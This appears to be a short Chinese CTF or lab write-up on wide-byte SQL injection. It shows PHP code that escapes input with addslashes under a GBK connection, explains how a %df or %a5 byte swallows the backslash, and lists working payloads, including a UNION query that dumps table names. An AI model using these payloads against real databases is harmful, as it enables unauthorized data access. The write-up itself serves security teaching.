02-字符注入
打开如下:
分析代码:
if(isset($_GET['id'])){
$id=addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
}
else{
exit();
}
addslashes
函数会对引号进行转义,使用宽字节注入即可
1%df' or 1=1%23
原理解析:
我们这里利用的是mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字节是一个汉字(前一个ascii码要大于128,才到汉字范围)
因为gbk是多字节编码,它认为两个字节代表一个字符,所以%df和后面的%5c变成了汉字 “運” ,而 ’ 逃逸了出来
mysql如何判断一个字符是不是一个汉字,根据gbk编码,第一个字节的ascii码大于128,基本上就行
不一定要使用 %df ,使用 a5 也可以,a5 的 ascii 大于 128
%a5' or 1=1%23
%a5' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563)%23 #这里的数据库名用 16 进制编码